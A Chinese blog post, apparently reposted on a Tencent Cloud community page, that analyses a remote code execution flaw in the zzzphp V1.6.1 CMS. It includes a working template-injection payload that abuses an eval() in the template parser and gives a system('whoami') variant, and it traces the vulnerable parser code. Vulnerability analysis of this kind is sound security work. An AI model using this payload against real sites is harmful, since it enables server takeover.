专栏首页字节脉搏实验室zzzphp V1.6.1 远程代码执行漏洞分析

zzzphp V1.6.1 远程代码执行漏洞分析

文章源自【字节脉搏社区】-字节脉搏实验室

作者-sher10ck

这是一个通过模板来进行命令执行的一个例子,第一次遇到,很有趣。

漏洞复现

本地搭建好环境,登录后台,找到模板管理–>模板管理:

然后找到cn2016/html/search.html(其实也就是网站下/zzzphp/template/pc/cn2016/html/search.html),将里面的代码修改或者添加:

{if:assert($_request[phpinfo()])}phpinfo();{end if}

然后我们再访问 http://127.0.0.1/zzzphp/search/

看见phpinfo已经执行出来了,怎么出来的,能够怎么利用,目前还不知道,跟踪下源码吧。

漏洞分析

原来的search.html长这个样子。

首先我是跟踪到了search/index.php:

然后引用了 /inc/zzz_client.php ,跟踪下去

这里又引用了 zzz_template.php, 还不确定,先看一下。

这个文件里面有很多正则表达式,匹配了我们search.html中的{zzz:xxxx}

然后就一直往下看,在文件快结束的地方,找到了想要的代码。

有了eval函数,看来基本上就是这里了,接下来我们慢慢分析。

这里为了方便,写了一段测试代码,来看一下匹配之后的内容

<?php
$zcontent = '{if:assert($_request[phpinfo()])}phpinfo();{end if}';
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
preg_match_all( $pattern, $zcontent, $matches);
var_dump($matches)
?>

我们就晓得 $matches 变量的值了。

继续看代码

if ( preg_match_all( $pattern, $zcontent, $matches ) ) { $count = count( $matches[ 0 ] ); for ( $i = 0; $i < $count; $i++ ) { $flag = ''; $out_html = ''; $ifstr = $matches[ 1 ][ $i ]; $ifstr = str_replace( '<>', '!=', $ifstr ); $ifstr = str_replace( 'mod', '%', $ifstr ); $ifstr1 = cleft( $ifstr, 0, 1 ); switch ( $ifstr1 ) { case '=': $ifstr = '0' . $ifstr; break; case '{': case '[': $ifstr = "'" . str_replace( "=", "'=", $ifstr ); break; } $ifstr = str_replace( '=', '==', $ifstr ); $ifstr = str_replace( '===', '==', $ifstr ); @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

$ifstr 变量的值为 $matches[ 1 ][ $i ],我们这里也就是$matches[ 1 ][ 0 ],也就是 assert($_request[phpinfo()])

然后继续跟进,有一个cleft函数进行了处理,跟进:

这段代码的意思就是去除掉两边的空格之后,取出我们的第一个字符。

我们这里的 $ifstr 第一个字符 “{“ ,没啥用,最后就是:

1

@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

我们这里吧 $ifstr 的值带进去。

1

@eval( 'if(assert($_request[phpinfo()])){$flag="if";}else{$flag="else";}' );

然后本地运行一下:

居然执行了~~~

神奇。

1

eval( 'if(system("whoami")){}else{}' );

看来里面是条件语句判断也行

本文分享自微信公众号 - 字节脉搏实验室(zijiemaiboshiyanshi),作者:sher10ck

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-03-24

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • ARP欺骗的原理及复现

    当访问一个外网地址:“www.baidu.com”的时候,这时会首先将数据包交给网关,再由网关通过各种路由协议送到“www.baidu.com”

    字节脉搏实验室
  • 渗透测试中SMB服务(139、445端口)枚举汇总

    # msfconsole -r /usr/share/metasploit-framwork/scripts/resource/smb_checks.rc"

    字节脉搏实验室
  • 记一次简单的腾讯电脑管家免杀

    字节脉搏实验室
  • R语言基础教程——第四章:if语句

    在任何一种编程语言中都有if语句,在生物信息学分析中,经常会筛选满足一定条件的数据,if语句就很有用。在R语言中创建if..else语句的基本语法是 :

    DoubleHelix
  • JAVA基础知识点(一)

    小小咸鱼YwY
  • Python | Python学习之常用项目代码(一)

    本篇是咸鱼日常撸视频的时候记录的一些代码实例,可以直接运用到项目中但是有些代码的可用性没有那么好,旨在分享思路,不喜勿喷~

    咸鱼学Python
  • 002.Rsync详细配置项

    在文件中[module]之前的所有参数都是全局参数,当然也可以在全局参数部分定义模块参数,这时候该参数的值就是所有模块的默认值。

    木二
  • 【独家编译】美国无人驾驶公司Embark获1500万美元A轮融资 无人驾驶卡车前景巨大

    实际上,作为物流行业中的重要部分,卡车运输业也早就被各路自动驾驶企业盯上。 编译 | 大文 据techcrunch消息,无人驾驶技术公司Embark于周二宣布,...

    数据猿
  • 惊恐!机器人都可以干催款的活儿了!

    继大数据技术之后,近些年来人工智能技术成为了各个行业关注的热点,各种开源框架琳琅满目,创新应用也层出不穷,在为企业带来新机遇、新挑战的同时,也让人们体会到了科技...

    用户1310347
  • 速读原著-Android应用开发入门教程(Android中建立工程)

    Android 的 SDK 环境安装完成后,就可以在 SDK 中建立工程并进行调试了。 建立 Android 工程步骤如下: 选择“File”>“New”>...

    cwl_java

扫码关注云+社区

领取腾讯云代金券